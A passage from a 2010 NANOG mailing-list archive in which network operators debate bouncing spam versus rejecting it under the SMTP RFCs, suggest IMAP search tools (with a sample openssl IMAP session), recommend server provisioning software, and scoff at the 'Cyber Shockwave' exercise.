you can do one of two things: 1) Blindly bounce without bothering to verify first. One of two things will happen: a) it doesn't point at a valid mailbox, and it double-bounces and pisses off your postmaster or b) they actually point at some innocent person's mailbox and it pisses them off. To quote Dr Phil, "How's that working out for you?" (And if you're dropping the double-bounces because they're of zero worth to *your* posthamster, there's a special place in Hell for you. If you find them of zero value when they double-bounce, why do you insist on inflicting them on innocent bystanders when you successfully backscatter? 2) We can attempt to verify it first. Now, if it's spam or a virus, what do we know about it? We know a priori that the return path is bogus and should not be used. OK, that was quick. We've tried to verify it, and we've found it's invalid. Want to use a known-invalid address for the bounce? Not if you want to have a reputation as a good network neighbor. Either way, you shouldn't be bouncing spam. They also added this text in section 6.2 Conversely, if a message is rejected because it is found to contain hostile content (a decision that is outside the scope of an SMTP server as defined in this document), rejection ("bounce") messages SHOULD NOT be sent unless the receiving site is confident that those messages will be usefully delivered. The preference and default in these cases is to avoid sending non-delivery messages when the incoming message is determined to contain hostile content. Spam is hostile, by definition. If you get spam, you should not bounce unless it will be "usefully delivered". The only thing you can usefully deliver to a spammer is a fully armed and operational tactical nuke, set to detonate in 4...3...2... Since an NDN isn't a tactical nuke, you shouldn't be bouncing spam. So we've looked at it from 2 different aspects, and in both cases, the RFC says you shouldn't be bouncing spam to where it came from. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From LarrySheldon at cox.net Sat Feb 20 12:11:21 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 20 Feb 2010 12:11:21 -0600 Subject: Spamhaus... In-Reply-To: <877585b01002200941q44d39e15rc043c2992eaad55@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <4B801BAD.7090000@cox.net> <877585b01002200941q44d39e15rc043c2992eaad55@mail.gmail.com> Message-ID: <4B8025C9.2040601@cox.net> On 2/20/2010 11:41 AM, Michael Dillon wrote: >> We don't expose our selves with "finger" and .plan and a number of other >> things that work in a world of friends and neighbors--the world has changed > > It's changed all right. Finger is now called IM presence, and .plan is > called Facebook. The difference is that finger and .plan were part of the base system, IM and FB require you to explicitly expose yourself. And have the same hazards, and more. Some of us don't choose to expose ourselves. Which brings us nicely back on topic. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From LarrySheldon at cox.net Sat Feb 20 12:17:33 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 20 Feb 2010 12:17:33 -0600 Subject: Spamhaus... In-Reply-To: <9305.1266688401@localhost> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> Message-ID: <4B80273D.7010301@cox.net> On 2/20/2010 11:53 AM, Valdis.Kletnieks at vt.edu wrote: > So we've looked at it from 2 different aspects, and in both cases, the > RFC says you shouldn't be bouncing spam to where it came from. Small nit, which is germane to the whole discussion; "...the RFC says you shouldn't be bouncing spam to where IT SAYS it came from." There is no way in the current universe to know where the item came from by inspecting it. You can only tell where you got it from...and if you can't reject it while you know that, you must discard it. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From mehmet at akcin.net Sat Feb 20 13:29:38 2010 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 20 Feb 2010 13:29:38 -0600 Subject: centeralized server management solutions Message-ID: ...so few months ago I was wondering which vendor to pick that has the best global delivery experience and deliver quality product.. after few weeks of research decided to go with Dell. There are few options for centralized management such as pushing images, backing up, restoring/re-installing servers for Dell servers using DRAC cards. KACE which recently was bought by dell is one option, Dell OpenManage seems another option with less options available. What are your thoughts / suggestions on centralized management solutions for Dell servers with DRAC cards?. Few things to keep in mind. Centralized solution and server wont be on the same network , but each will have internet access Drac cards come with Compact Flash cards Bandwidth may not be quite fast and latency might be higher when connecting to the centralized solution. Monitoring can be apart from the server maintenance solution as I already primarily use cacti/nagios/IMapper. appreciate help on this. Mehmet From marquis at roble.com Sat Feb 20 13:51:57 2010 From: marquis at roble.com (Roger Marquis) Date: Sat, 20 Feb 2010 11:51:57 -0800 (PST) Subject: Spamhaus... In-Reply-To: References: Message-ID: <20100220195157.A882F2B21AB@mx5.roble.com> William Herrin wrote: > Indeed, and the ones who are more than minimally competent have > considered the protocol as a whole and come to understand that at a > technical level the "reject don't bounce" theory has more holes in it > than you can shake a stick at. No way. You are kidding aren't you Bill? Honestly, I have not encountered a sysadmin who allows their company's mailexchangers to send backscatter in close to 8 years (outside of non-technical SMBs who also have numerous other systems and network issues, and one university hamstringed by vendor lock-in). The really issue here IMO is the RFC process. Given how badly the implementation of IPv6 is coming along it really should not surprise anyone that SMTP RFCs are no less dated and no less out of sync with real world conditions. Deja vu X.400. Roger Marquis From mike.lyon at gmail.com Sat Feb 20 13:56:19 2010 From: mike.lyon at gmail.com (Mike Lyon) Date: Sat, 20 Feb 2010 11:56:19 -0800 Subject: Slightly OT. Good IMAP search tool? Message-ID: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> Howdy Folks, What are people using these days to suck down an IMAP account, search it and then export the search results? Any suggestions. Cheers, Mike From dwhite at olp.net Sat Feb 20 14:13:50 2010 From: dwhite at olp.net (Dan White) Date: Sat, 20 Feb 2010 14:13:50 -0600 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> Message-ID: <20100220201349.GA19888@dan.olp.net> On 20/02/10?11:56?-0800, Mike Lyon wrote: >Howdy Folks, > >What are people using these days to suck down an IMAP account, search it and >then export the search results? Any suggestions. I don't know your specific need, but it is usually far more efficient (to what degree depends on the IMAP server) to perform your searches via the IMAP SEARCH command and let the server feed you the appropriate emails containing the keyword(s) you're searching for. -- Dan White From ck at iphh.net Sat Feb 20 14:27:19 2010 From: ck at iphh.net (Christoph) Date: Sat, 20 Feb 2010 21:27:19 +0100 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> Message-ID: <20100220202719.GB26947@inferno.nadir.org> * Am Sat, Feb 20, 2010 at 11:56:19AM -0800 , schrieb Mike Lyon: > Howdy Folks, > > What are people using these days to suck down an IMAP account, search it and > then export the search results? Any suggestions. If you really need to suck everything down, i'd suggest offlineimap+maildir-utils Cheers, Christoph > > Cheers, > Mike From mike.lyon at gmail.com Sat Feb 20 14:34:23 2010 From: mike.lyon at gmail.com (Mike Lyon) Date: Sat, 20 Feb 2010 12:34:23 -0800 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <20100220202719.GB26947@inferno.nadir.org> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> <20100220202719.GB26947@inferno.nadir.org> Message-ID: <1b5c1c151002201234q2c27f585u336e9c73e96cf111@mail.gmail.com> Well, I don't have to exactly suck everything down. if I I could use the imap search function as one post previously mentioned, that would work to. Just trying to find a good utility to do it...Win/Linux, doesn't matter... Thanks, Mike On Sat, Feb 20, 2010 at 12:27 PM, Christoph wrote: > * Am Sat, Feb 20, 2010 at 11:56:19AM -0800 , schrieb Mike Lyon: > > Howdy Folks, > > > > What are people using these days to suck down an IMAP account, search it > and > > then export the search results? Any suggestions. > If you really need to suck everything down, i'd suggest > offlineimap+maildir-utils > > Cheers, > Christoph > > > > Cheers, > > Mike > > From dwhite at olp.net Sat Feb 20 14:36:58 2010 From: dwhite at olp.net (Dan White) Date: Sat, 20 Feb 2010 14:36:58 -0600 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <1b5c1c151002201215v32f0ba43i51da992cbb4a0c35@mail.gmail.com> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> <20100220201349.GA19888@dan.olp.net> <1b5c1c151002201215v32f0ba43i51da992cbb4a0c35@mail.gmail.com> Message-ID: <20100220203657.GB19888@dan.olp.net> On 20/02/10?12:15?-0800, Mike Lyon wrote: >On Sat, Feb 20, 2010 at 12:13 PM, Dan White wrote: >> On 20/02/10 11:56 -0800, Mike Lyon wrote: >> >>> Howdy Folks, >>> >>> What are people using these days to suck down an IMAP account, search it >>> and >>> then export the search results? Any suggestions. >>> >> >> I don't know your specific need, but it is usually far more efficient (to >> what degree depends on the IMAP server) to perform your searches via the >> IMAP SEARCH command and let the server feed you the appropriate emails >> containing the keyword(s) you're searching for. > > That would be what I am looking for :) > > Recommend any good tools for that? IMAP Webmail clients (like squirrelmail) have build in server side searching. Many IMAP clients do as well. The Perl imap module should be verify flexible in performing the search and letting you manipulate the results programmatically. You could also do it via telnet/nc and script the search and fetch commands via shell script. See RFC 3501. -- Dan White From bill at herrin.us Sat Feb 20 14:53:55 2010 From: bill at herrin.us (William Herrin) Date: Sat, 20 Feb 2010 15:53:55 -0500 Subject: Spamhaus... In-Reply-To: <9305.1266688401@localhost> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> Message-ID: <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> On Sat, Feb 20, 2010 at 12:53 PM, wrote: > On Sat, 20 Feb 2010 11:36:37 EST, William Herrin said: >> They didn't exactly fix it. What they did is reinforce the importance >> of generating a bounce message by keeping the existing "must" language >> from 2821 but adding: >> >> "A server MAY attempt to verify the return path before using its >> address for delivery notifications" > > OK, let's run with that. ?It is *permitted* to check the address for validity > before bouncing to it. > > Either way, you shouldn't be bouncing spam. > > They also added this text in section 6.2 > > ? Conversely, if a message is rejected because it is found to contain > ? hostile content (a decision that is outside the scope of an SMTP > ? server as defined in this document), rejection ("bounce") messages > ? SHOULD NOT be sent unless the receiving site is confident that those > ? messages will be usefully delivered. ?The preference and default in > ? these cases is to avoid sending non-delivery messages when the > ? incoming message is determined to contain hostile content. Two paragraphs up it says, "silent dropping of messages should be considered only in those cases where there is very high confidence that the messages are seriously fraudulent or otherwise inappropriate." I don't know what your spam intake looks like but in mine, 5% to 10% can't be ranked "high confidence" until checked by an eyeball mark 1. In my system, that fraction is a candidate for a bounce... unless your SPF records have told me that the message has a forged sender. I honor whatever instructions you've made the effort to give me via the sender policy framework. That's the part that really galls me. Instructing my system not to bounce questionable messages related to yours is entirely within your control. You don't even have to know I exist; you just put a simple well-standardized line in your DNS. The instruction you choose to offer, I'll do all the processing necessary to honor it. But a few folks who complain about backscatter would rather whine about it and exhort me to break with the letter and spirit of the smtp standards than architect their own mail systems in a manner compatible with suppressing backscatter from others. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From cra at WPI.EDU Sat Feb 20 15:35:41 2010 From: cra at WPI.EDU (Chuck Anderson) Date: Sat, 20 Feb 2010 16:35:41 -0500 Subject: centeralized server management solutions In-Reply-To: References: Message-ID: <20100220213541.GB5426@angus.ind.WPI.EDU> On Sat, Feb 20, 2010 at 01:29:38PM -0600, Mehmet Akcin wrote: > Centralized solution and server wont be on the same network , but each will have internet access > Drac cards come with Compact Flash cards > Bandwidth may not be quite fast and latency might be higher when connecting to the centralized solution. > Monitoring can be apart from the server maintenance solution as I already primarily use cacti/nagios/IMapper. You didn't specify what OS'es you deploy, but for Linux/Red Hat-like systems: PXE boot, Kickstart [1], Puppet [2], Bacula [3]. PXE/Kickstart/Puppet can be managed with Cobbler [4]. Foreman [5] is an alternative for managing Puppet hosts. [1] http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Installation_Guide-en-US/pt-install-advanced-deployment.html [2] http://reductivelabs.com/products/puppet/ [3] http://www.bacula.org/en/ [4] https://fedorahosted.org/cobbler/ [5] http://theforeman.org/ From bonomi at mail.r-bonomi.com Sat Feb 20 15:14:02 2010 From: bonomi at mail.r-bonomi.com (Robert Bonomi) Date: Sat, 20 Feb 2010 15:14:02 -0600 (CST) Subject: Spamhaus... Message-ID: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> > From nanog-bounces+bonomi=mail.r-bonomi.com at nanog.org Fri Feb 19 22:32:48 2010 > From: William Herrin > Date: Fri, 19 Feb 2010 23:32:10 -0500 > Subject: Re: Spamhaus... > To: Larry Sheldon > Cc: nanog at nanog.org > > On Fri, Feb 19, 2010 at 8:35 PM, Larry Sheldon wrote: > > On 2/19/2010 7:20 PM, William Herrin wrote: > >> "If an SMTP server has accepted the task of relaying the mail and > >> later finds that the destination is incorrect or that the mail cannot > >> be delivered for some other reason, then it MUST construct an > >> "undeliverable mail" notification message and send it to the > >> originator of the undeliverable mail (as indicated by the > >> reverse-path)." > > > > Does the RFC say what to do if the reverse-path has been > > damaged and now points to somebody who had nothing > > what ever to do with the email? > > Hi Larry, > > Re-reading the paragraph I quoted and you repeated, I'm going to say > that the answer is "yes." > I'll bite. *HOW* do you send to the _originator_ (as *required* by the RFC you quoted) of the undeliverable mail, when the reverse path points to 'someone else'? Note well the exact lanugage used -- it does not say 'the party named in the reverse path', the 'claimed sender', 'putative sender' or any other similar equivocation that justifies sending to a forged address. It says "the originator". To me, that can be only iterpreted in _one_ way. To wit: as the party that _actually_ created and transmitted the message, _regardless_ of what the declared return path is. Since such a message is 'defective' (not RFC-compliant -- because the true point -of-origin is *NOT* in the reverse path, as it MUST be for an RFC-compliant message) on it's face, I will argue that there is no need to apply the 'required' handling for a 'proper' message to it. From rsk at gsp.org Sat Feb 20 15:45:03 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Sat, 20 Feb 2010 16:45:03 -0500 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> Message-ID: <20100220214503.GA31681@gsp.org> On Sat, Feb 20, 2010 at 11:56:19AM -0800, Mike Lyon wrote: > What are people using these days to suck down an IMAP account, search it and > then export the search results? Any suggestions. I'd replied off-list, but then realized that perhaps this would be of more general interest. My apologies to Mike for the redundancy. I use fetchmail and grepmail. Grepmail emits as its output a Unix mbox file, so it lends itself quite nicely to going through chunks of saved mail, matching grep-ish criteria (including headers) and producing a file full of the messages that match. Let me also mention formail, which is part of the procmail distribution, and is also quite useful -- in this particular case, for culling duplicates. All three of these tools are part of my standard postmaster toolbox. ---Rsk From mysidia at gmail.com Sat Feb 20 15:46:59 2010 From: mysidia at gmail.com (James Hess) Date: Sat, 20 Feb 2010 15:46:59 -0600 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <1b5c1c151002201234q2c27f585u336e9c73e96cf111@mail.gmail.com> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> <20100220202719.GB26947@inferno.nadir.org> <1b5c1c151002201234q2c27f585u336e9c73e96cf111@mail.gmail.com> Message-ID: <6eb799ab1002201346k4a254af9w928353416122eca3@mail.gmail.com> On Sat, Feb 20, 2010 at 2:34 PM, Mike Lyon wrote: hm..If you really want to snarf the imap, think fetchmail for downloading. hypermail/pipermail for parsing. Get it into a DBM (such as PgSQL) and perform full-text indexing. Or coax Hypermail into generating HTML flat files.... Then your full-text search problem is reduced to finding the right .html files out of the massive number of files. If you want to search binary attachment contents, that's harder. Sounds like a job for a recursive 'grep' at that point. Or post (non-sensitive) output to a web site, wait for Google to index. Or (heck) use Google Desktop :) Else use a private web site ht://Dig. some other tools are (supposedly): Apache Nutsch, Sphinx, mnoGoSearch, SWISH-E. > Well, I don't have to exactly suck everything down. if I I could use the > imap search function as one post previously mentioned, that would work to. > Just trying to find a good utility to do it...Win/Linux, doesn't matter... How about telnet + openssl, and perhaps an expect script? # openssl s_client -connect mail.example.com:143 -starttls imap or # openssl s_client -connect mail.example.com:993 a1 LOGIN myusername mypassword a1 LIST "/" "*" yawn SELECT INBOX a2 SEARCH SUBJECT "hello" a3 SEARCH SUBJECT "test" SEEN a4 SEARCH ANSWERED a5 SEARCH TEXT "xs-" BODY "cron" SINCE "20-Oct-2009 00:00:00 -0500" FROM "root@" TO "root" UNDELETED a FETCH 1012 FLAGS b FETCH 1012 full c FETCH 1012 BODY c FETCH 1012 BODY[text] blah LOGOUT --- * OK IMAP (C) example.com (Version 4.2) a OK login completed * LIST () "/" "Drafts" * LIST () "/" "INBOX" * LIST () "/" "Saved" * LIST () "/" "Sent Items" * LIST () "/" "Trash" a1 OK LIST completed * 2818 EXISTS * 3 RECENT * OK [UNSEEN 1] first unseen message * OK [UIDVALIDITY 1192121218] Uid epoch * OK [UIDNEXT 3319] Predicted next uid * FLAGS (\Answered \Flagged \Deleted \Draft \Seen $Forwarded ) * OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Draft \Seen $Forwarded )] Limited yawn OK [READ-WRITE] SELECT completed * SEARCH 658 666 668 669 695 698 742 1104 a2 OK SEARCH completed * SEARCH 210 211 845 2497 2751 2753 2754 a3 OK SEARCH completed * SEARCH 1012 a4 OK SEARCH completed * 1012 FETCH (UID 1512 FLAGS (\Answered)) * SEARCH 2239 2245 a5 OK SEARCH completed * 1012 FETCH (UID 1512 FLAGS (\Answered \Seen)) a OK FETCH completed * 1012 FETCH (UID 1512 FLAGS (\Answered) INTERNALDATE "22-Mar-2009 03:02:11 -0600" RFC822.SIZE 1062 ENVELOPE ("Sun, 22 Mar 2009 04:03:02 -0500" "Cron run-parts /etc/cron.daily" (("root" NIL "root" "")) (("root" NIL "root" "")) (("root" NIL "root" "")) NIL NIL NIL NIL "<1237712530_8351 at xxxxx>") BODY ("TEXT" "PLAIN" ("charset" "UTF-8") NIL NIL "7BIT" 97 3)) b OK FETCH completed * 1012 FETCH (UID 1512 BODY ("TEXT" "PLAIN" ("charset" "UTF-8") NIL NIL "7BIT" 97 3)) c OK FETCH completed * 1012 FETCH (UID 1512 BODY[TEXT] {97} /etc/cron.daily/logrotate: error: stat of /var/log/xha.log failed: ) c OK FETCH completed * BYE IMAP4rev1 Server logging out blah OK logout completed closed -- -J From cra at WPI.EDU Sat Feb 20 15:51:36 2010 From: cra at WPI.EDU (Chuck Anderson) Date: Sat, 20 Feb 2010 16:51:36 -0500 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <20100220214503.GA31681@gsp.org> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> <20100220214503.GA31681@gsp.org> Message-ID: <20100220215136.GC5426@angus.ind.WPI.EDU> On Sat, Feb 20, 2010 at 04:45:03PM -0500, Rich Kulawiec wrote: > I use fetchmail and grepmail. Grepmail emits as its output a Unix mbox > file, so it lends itself quite nicely to going through chunks of saved mail, > matching grep-ish criteria (including headers) and producing a file full > of the messages that match. Have you figured out how to get grepmail to decode MIME? A mailing list I'm on recently started emitting MIME/base64 encoded inline text. From andrew.wallace at rocketmail.com Sat Feb 20 15:52:11 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 20 Feb 2010 13:52:11 -0800 (PST) Subject: "Cyber Shockwave" on CNN In-Reply-To: Message-ID: <331926.91238.qm@web59608.mail.ac4.yahoo.com> --- On Sat, 20/2/10, Randy Bush wrote: > From: Randy Bush > Subject: Re: "Cyber Shockwave" on CNN > To: "andrew.wallace" > Cc: nanog at nanog.org > Date: Saturday, 20 February, 2010, 3:10 > the details were in the press days > ago.? 83.2% scare, negligible lessons > we can actually put in practice without becoming (more of) > a police > state. > > randy > It looks like this demo is pressing ahead for the intro of allowing the US Government to take control of private sector networks "in an emergency"... and wants to include smart phones into the bargin. Or at least that is my interpretation of what the demo is trying to convince us on. Cyber Shockwave Reveals Unsettling Answers --- http://www.mi2g.com/cgi/mi2g/frameset.php?pageid=http%3A//www.mi2g.com/cgi/mi2g/press/180210.php Andrew From randy at psg.com Sat Feb 20 15:58:54 2010 From: randy at psg.com (Randy Bush) Date: Sun, 21 Feb 2010 06:58:54 +0900 Subject: "Cyber Shockwave" on CNN In-Reply-To: <331926.91238.qm@web59608.mail.ac4.yahoo.com> References: <331926.91238.qm@web59608.mail.ac4.yahoo.com> Message-ID: > It looks like this demo is a bunch of sick press and sick ex-gov wishtheycouldbeagains trying to get as much mindshare as they can. and you're helping them. randy From mehmet at akcin.net Sat Feb 20 16:07:38 2010 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 20 Feb 2010 16:07:38 -0600 Subject: NANOG Digest, Vol 25, Issue 90 In-Reply-To: References: Message-ID: Actually thanks, I just realized that after I hit send... It's for CentOS Mehmet On Feb 20, 2010, at 3:47 PM, nanog-request at nanog.org wrote: > Message: 8 > Date: Sat, 20 Feb 2010 16:35:41 -0500 > From: Chuck Anderson > Subject: Re: centeralized server management solutions > To: nanog at nanog.org > Message-ID: <20100220213541.GB5426 at angus.ind.WPI.EDU> > Content-Type: text/plain; charset=us-ascii > > On Sat, Feb 20, 2010 at 01:29:38PM -0600, Mehmet Akcin wrote: >> Centralized solution and server wont be on the same network , but each will have internet access >> Drac cards come with Compact Flash cards >> Bandwidth may not be quite fast and latency might be higher when connecting to the centralized solution. >> Monitoring can be apart from the server maintenance solution as I already primarily use cacti/nagios/IMapper. > > You didn't specify what OS'es you deploy, but for Linux/Red Hat-like > systems: PXE boot, Kickstart [1], Puppet [2], Bacula [3]. > PXE/Kickstart/Puppet can be managed with Cobbler [4]. Foreman [5] > is an alternative for managing Puppet hosts. > > [1] http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Installation_Guide-en-US/pt-install-advanced-deployment.html > > [2] http://reductivelabs.com/products/puppet/ > > [3] http://www.bacula.org/en/ > > [4] https://fedorahosted.org/cobbler/ > > [5] http://theforeman.org/ From andrew.wallace at rocketmail.com Sat Feb 20 16:13:07 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 20 Feb 2010 14:13:07 -0800 (PST) Subject: "Cyber Shockwave" on CNN In-Reply-To: Message-ID: <862133.58195.qm@web59616.mail.ac4.yahoo.com> --- On Sat, 20/2/10, Randy Bush wrote: > From: Randy Bush > Subject: Re: "Cyber Shockwave" on CNN > To: "andrew.wallace" > Cc: nanog at nanog.org > Date: Saturday, 20 February, 2010, 21:58 > > It looks like this demo is > > a bunch of sick press and sick ex-gov wishtheycouldbeagains > trying to > get as much mindshare as they can.? and you're helping > them. > > randy > I refuse to let you say I am helping them -- I am from UK, I don't agree with them wanting to allow The NSA to take over private sector networks or citizens smart phones 'in an emergency'. Andrew From tvhawaii at shaka.com Sat Feb 20 16:18:24 2010 From: tvhawaii at shaka.com (Michael Painter) Date: Sat, 20 Feb 2010 12:18:24 -1000 Subject: "Cyber Shockwave" on CNN References: <331926.91238.qm@web59608.mail.ac4.yahoo.com> Message-ID: andrew.wallace wrote: > It looks like this demo is pressing ahead for the intro of allowing the US Government to take control of private sector > networks > "in an emergency"... and wants to include smart phones into the bargin. > > Or at least that is my interpretation of what the demo is trying to convince us on. > > Cyber Shockwave Reveals Unsettling Answers --- > > http://www.mi2g.com/cgi/mi2g/frameset.php?pageid=http%3A//www.mi2g.com/cgi/mi2g/press/180210.php > > Andrew My favorite: "What was most troubling to the participants was their inability to find a guilty party." From rjoffe at centergate.com Sat Feb 20 16:33:18 2010 From: rjoffe at centergate.com (Rodney Joffe) Date: Sat, 20 Feb 2010 15:33:18 -0700 Subject: "Cyber Shockwave" on CNN In-Reply-To: <862133.58195.qm@web59616.mail.ac4.yahoo.com> References: <862133.58195.qm@web59616.mail.ac4.yahoo.com> Message-ID: Enough hype. This was an exercise in self promotion by retired beaurocrats posturing for private gigs. The US gov publicly disassociated themselves from this. Move along. Nothing to see here. On Feb 20, 2010, at 3:13 PM, "andrew.wallace" wrote: > --- On Sat, 20/2/10, Randy Bush wrote: > >> From: Randy Bush >> Subject: Re: "Cyber Shockwave" on CNN >> To: "andrew.wallace" >> Cc: nanog at nanog.org >> Date: Saturday, 20 February, 2010, 21:58 >>> It looks like this demo is >> >> a bunch of sick press and sick ex-gov wishtheycouldbeagains >> trying to >> get as much mindshare as they can. and you're helping >> them. >> >> randy >> > > I refuse to let you say I am helping them -- I am from UK, I don't > agree with them wanting to allow The NSA to take over private sector > networks or citizens smart phones 'in an emergency'. > > Andrew > > > > > From andrew.wallace at rocketmail.com Sat Feb 20 16:46:17 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 20 Feb 2010 14:46:17 -0800 (PST) Subject: "Cyber Shockwave" on CNN In-Reply-To: Message-ID: <786356.16590.qm@web59608.mail.ac4.yahoo.com> --- On Sat, 20/2/10, Michael Painter wrote: > From: Michael Painter > Subject: Re: "Cyber Shockwave" on CNN > To: nanog at nanog.org > Date: Saturday, 20 February, 2010, 22:18 > andrew.wallace wrote: > > It looks like this demo is pressing ahead for the > intro of allowing the US Government to take control of > private sector > > networks > > "in an emergency"... and wants to include smart phones > into the bargin. > > > > Or at least that is my interpretation of what the demo > is trying to convince us on. > > > > Cyber Shockwave Reveals Unsettling Answers --- > > > > http://www.mi2g.com/cgi/mi2g/frameset.php?pageid=http%3A//www.mi2g.com/cgi/mi2g/press/180210.php > > > > Andrew > > > My favorite: "What was most troubling to the participants > was their inability to find a guilty party." > They could of at least of said Al-Queda for the sake of the programme. :) It's obvious though, they don't know who the enemy would be. They try however, to generally say China and Russia have the strongest *cyber* capability... however, there is no intelligence that either countries are 'planning' such an attack. It's all 'what if'. Bring us actual intelligence on a threat that X regime wants to Y to cause Z instead of throw away doomsday scenarios with no real-life context. The suicide bombers are happy doing their suicides, the Russians are happy keeping their nukes pointing at US with a 33 minute ATA, and The Mossad are happy carrying out their hotel assassinations. And The Chinese are possibly happy doing corporate espionage. I don't see any of US's enemies suddenly turning 'cyber' on us. Sure, those enemies are using the internet for espoinage, but its not within their interest to take down US networks, because then they wouldn't have espoinage routes in and out of America anymore. They could do it to try and blind The NSA, but that would be blinding their own signals intelligence operations in and out of US as well. Andrew From brandon.galbraith at gmail.com Sat Feb 20 16:48:49 2010 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Sat, 20 Feb 2010 16:48:49 -0600 Subject: centeralized server management solutions In-Reply-To: <20100220213541.GB5426@angus.ind.WPI.EDU> References: <20100220213541.GB5426@angus.ind.WPI.EDU> Message-ID: <366100671002201448w4fcfe440u563df5ff5f3f2c6d@mail.gmail.com> Sorry for top post, posting from bb. Spacewalk is the open source upstream of redhat satellite. Can be used for installation/provisioning and config management. Ties in well with puppet and func. On 2/20/10, Chuck Anderson wrote: > On Sat, Feb 20, 2010 at 01:29:38PM -0600, Mehmet Akcin wrote: >> Centralized solution and server wont be on the same network , but each >> will have internet access >> Drac cards come with Compact Flash cards >> Bandwidth may not be quite fast and latency might be higher when >> connecting to the centralized solution. >> Monitoring can be apart from the server maintenance solution as I already >> primarily use cacti/nagios/IMapper. > > You didn't specify what OS'es you deploy, but for Linux/Red Hat-like > systems: PXE boot, Kickstart [1], Puppet [2], Bacula [3]. > PXE/Kickstart/Puppet can be managed with Cobbler [4]. Foreman [5] > is an alternative for managing Puppet hosts. > > [1] > http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Installation_Guide-en-US/pt-install-advanced-deployment.html > > [2] http://reductivelabs.com/products/puppet/ > > [3] http://www.bacula.org/en/ > > [4] https://fedorahosted.org/cobbler/ > > [5] http://theforeman.org/ > > -- Brandon Galbraith Mobile: 630.400.6992 FNAL: 630.840.2141 From mysidia at gmail.com Sat Feb 20 16:57:17 2010 From: mysidia at gmail.com (James Hess) Date: Sat, 20 Feb 2010 16:57:17 -0600 Subject: Spamhaus... In-Reply-To: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> Message-ID: <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> >> > Does the RFC say what to do if the reverse-path has been >> > damaged and now points to somebody who had nothing >> > what ever to do with the email? Do the TCP RFCs say what to do in response to a SYN packet, if the source IP address has been damaged, and now points to some source IP that has "nothing whatever" to do with the packet? You can only do the best possible -- discard the packet, if something allows you to determine the SYN is obviously spoofed or invalid, sure, drop it, otherwise you have no real choice. With SMTP there are many cases where you have no choice but to 250 the message, and send a DSN/bounce back 